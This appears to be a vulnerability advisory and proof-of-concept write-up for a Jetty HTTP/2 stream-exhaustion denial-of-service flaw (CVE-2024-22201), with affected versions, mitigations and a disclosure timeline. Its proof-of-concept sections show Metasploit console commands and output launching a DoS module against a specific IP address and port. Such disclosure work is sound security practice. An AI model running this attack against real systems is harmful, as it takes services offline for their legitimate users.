
Jetty HTTP/2 Stream-Exhaustion Denial-of-Service (CVE-2024-22201)

Author: Betul Sertkaya

Date: 2024-02-26

Tested On: Jetty 10.0.6

Affected: Jetty 10.0.6 (confirmed); vendor reports broader impact:

9.4.53 and earlier; 10.0.0–10.0.19; 11.0.0–11.0.19; 12.0.0–12.0.5

Fixed In: 9.4.54, 10.0.20, 11.0.20, 12.0.6

Vendor Advisory: <https://www.eclipse.org/lists/jetty-announce/msg00186.html>

NVD Entry: <https://nvd.nist.gov/vuln/detail/CVE-2024-22201>

Summary

Jetty is vulnerable to a denial-of-service condition via HTTP/2 stream exhaustion.

By opening and maintaining a large number of idle HTTP/2 streams, an attacker can exhaust server file descriptors and related resources, causing the service to become unresponsive to new requests.

Vulnerability Details

The HTTP/2 specification allows multiple concurrent streams per TCP connection.

Jetty's handling of idle HTTP/2 streams prior to the fixed releases did not sufficiently enforce limits in some configurations, especially when HTTP/2 is enabled over TLS. This allowed an authenticated or unauthenticated attacker to rapidly create thousands of idle streams, consuming file descriptors and memory.

An attacker can maintain these streams open for an extended period, leading to resource exhaustion and a denial-of-service condition.

Impact

Successful exploitation results in:

- Service unavailability for legitimate clients
- Possible cascading resource exhaustion on the host system
- Log noise and potential monitoring alert triggers

No remote code execution or data exfiltration is involved.

Proof of Concept

Step 1: Vulnerability check

```
msf6 auxiliary(dos/http/jetty_http2_dos) > check
[+] Jetty version 10.0.6 reported
[+] Jetty 10.0.6 appears vulnerable (below patched versions)
[+] 176.236.129.153:1337 - The target appears to be vulnerable.
```

Step 2: Attack launch

```
msf6 auxiliary(dos/http/jetty_http2_dos) > set streams 1212211212[...]
msf6 auxiliary(dos/http/jetty_http2_dos) > run
[+] [Round 1/500] 10 threads × <large number> streams – launching ...
[+] Holding connections for 200s ...
```

See attached PoC PDF for screenshots of both steps.

Mitigation

- Upgrade to Jetty 9.4.54, 10.0.20, 11.0.20, or 12.0.6
- Disable HTTP/2 if not required
- Apply strict `maxConcurrentStreams` and `maxHttp2StreamsPerConnection` settings
- Use aggressive connection and stream idle timeouts

Disclosure Timeline

2024-02-26 – Vendor advisory and fixed releases published

2025-08-11 – Public disclosure via Packet Storm submission

Ethics & Legal

This information and exploit code are provided for educational and authorized penetration testing purposes only. Use on systems without explicit permission from the owner is strictly prohibited and may violate applicable laws.

License

MIT License

Copyright (c) 2025 Betul Sertkaya

jetty_cve-2024-22201_poc

Screenshot #1 – Vulnerability Check

```
port ⇒ 1337
msf6 auxiliary(dos/http/jetty_http2_dos) > check
[*] Jetty version 10.0.6 reported
[+] Jetty 10.0.6 appears vulnerable (below patched versions)
[*] 176.236.129.153:1337 - The target appears to be vulnerable.
msf6 auxiliary(dos/http/jetty_http2_dos) > █
```

Screenshot #2 – Attack Launch

```
loops ⇒ 500
msf6 auxiliary(dos/http/jetty_http2_dos) > set streams 12122112121212121212121212121212
streams ⇒ 12122112121212121212121212121212
msf6 auxiliary(dos/http/jetty_http2_dos) > run
[*] Running module against 176.236.129.153
[*] 176.236.129.153:1337 - [Round 1/500] 10 threads × 12122112121212121212121212121212 streams - launching ...
[*] 176.236.129.153:1337 - Holding connections for 200s ...
```